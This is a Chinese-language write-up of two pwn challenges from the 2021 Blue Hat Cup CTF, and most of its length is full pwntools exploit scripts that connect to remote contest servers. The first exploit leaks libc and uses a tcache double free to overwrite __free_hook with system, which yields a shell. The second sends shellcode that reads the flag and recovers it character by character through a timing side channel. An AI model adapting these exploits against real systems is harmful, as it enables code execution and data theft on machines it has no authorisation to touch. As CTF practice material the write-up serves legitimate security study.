2021蓝帽杯线上赛pwn_wp

好家伙,甚至侥幸拿了个一血

portable_rpg

在添加堆块的时候,选择角色时,不选123,这样原堆块的数据就不会被更改,便可以利用这一点进行伪造

1)泄露:泄露其实办法就很多了,需要注意就是最后的数据非0才能show

我的做法是搞个unsorted bin出来,然后利用漏洞点,切割unsorted bin,得到残留下来的main_arena,就可以将mian_arena上的数据泄露,其中就有main_arena的地址,从而计算libc的地址

2)攻击:利用漏洞,使得tcache中取出的chunk的fd指针内容被保留下来,再free掉就可以造成一个double free

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
from pwn import *
context.log_level='debug'
context.arch='amd64'
local=0
debug=0
if local:
if debug:
sh=process(['qemu-arm','-g','12345','./pwn'])
else:
sh=process(['qemu-arm','./pwn'])
else:
sh=remote("8.140.177.7",14242)
lib=ELF('./libc.so.6')
sa = lambda s,n : sh.sendafter(s,n)
sla = lambda s,n : sh.sendlineafter(s,n)
sl = lambda s : sh.sendline(s)
sd = lambda s : sh.send(s)
rc = lambda n : sh.recv(n)
ru = lambda s : sh.recvuntil(s)
ti = lambda : sh.interactive()
leak = lambda name,addr :log.success(name+":"+hex(addr))

def add(size,choice,content):
sla(">> ","1")
sla(">> ",str(choice))
sla("name size?",str(size))
sa("user name?",content)
def show(idx):
sla(">> ","3")
sla("index?",str(idx))
def delete(idx):
sla(">> ","2")
sla("index?",str(idx))
def play(idx):
sla(">> ","4")
sla("index?",str(idx))

add(0x400,1,'a'*0x70)#0
add(0x20,1,'a'*0x20)#1
add(0x20,1,'a'*0x20)#2
add(0x20,1,'a'*0x20)#3

delete(0)
add(0x30,1,'a'*0x20)#0
sla(">> ","1")
sla(">> ",str(4))
#4
show(4)
ru("player name: ")
rc(16)
addr=u32(rc(4))
leak("addr",addr)
libc=addr-0x3c-0x13a7f4
#
leak("libc",libc)
# pause()
free_hook=libc+lib.sym['__free_hook']
system=libc+lib.sym['system']
delete(1)
delete(2)

add(0x30,1,"/bin/sh\x00")#1
sla(">> ","1")
sla(">> ",str(4))
#2

delete(2)

add(0x30,1,"/bin/sh\x00")#2

add(0x30,1,p64(free_hook))
#5
add(0x30,1,'/bin/sh\x00')
#6
add(0x20,1,p64(system))

delete(6)
ti()

silent

只能用open和read,思路就是把flag读到内存然后逐个字符比较爆破

cmp指令比较,相等则往回跳转重新比较,从而陷入死循环,然后通过时间来判断正确与否

同时还加了反调试

关键是去年原题。。。。。。

emmmmmm,索性直接找了去年别人的wp做了,实在搞不懂出题人为啥要放个原题

链接:https://www.anquanke.com/post/id/226089

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
from pwn import *

file_path = "./chall"
context.arch = "amd64"
# context.log_level = "debug"
context.terminal = ['tmux', 'splitw', '-h']
elf = ELF(file_path)
debug = 0
# if debug:
# p = process([file_path])
# gdb.attach(p, "b *$rebase(0xC94)")
# libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
# one_gadget = 0x0
#
# else:
# p = remote('', 0)
# libc = ELF('')
# one_gadget = 0x0


def pwn(p, index, ch):

read_next = "xor rax, rax; xor rdi, rdi;mov rsi, 0x10100;mov rdx, 0x300;syscall;"
# open
shellcode = "push 0x10032aaa; pop rdi; shr edi, 12; xor esi, esi; push 2; pop rax; syscall;"

# re open, rax => 4
shellcode += "push 2; pop rax; syscall;"

# read(rax, 0x10040, 0x50)
shellcode += "mov rdi, rax; xor eax, eax; push 0x50; pop rdx; push 0x10040aaa; pop rsi; shr esi, 12; syscall;"

# cmp and jz
if index == 0:
shellcode += "cmp byte ptr[rsi+{0}], {1}; jz $-3; ret".format(index, ch)
else:
shellcode += "cmp byte ptr[rsi+{0}], {1}; jz $-4; ret".format(index, ch)

shellcode = asm(shellcode)

# p.sendlineafter("execution-box.\n", read_next.ljust(0x30))

p.sendafter("execution-box.\n", shellcode.ljust(0x40 - 14, b'a') + b'./flag')


index = 5
ans = []
while True:
for ch in range(0x20, 127):
if debug:
p = process([file_path])
else:
p = remote('8.140.177.7', 40334)
pwn(p, index, ch)
start = time.time()
try:
p.recv(timeout=2)
except:
pass
end = time.time()
p.close()
if end - start > 1.5:
ans.append(ch)
print("".join([chr(i) for i in ans]))
break
else:
print("".join([chr(i) for i in ans]))
break
index = index + 1
print(ans)

print("".join([chr(i) for i in ans]))
0%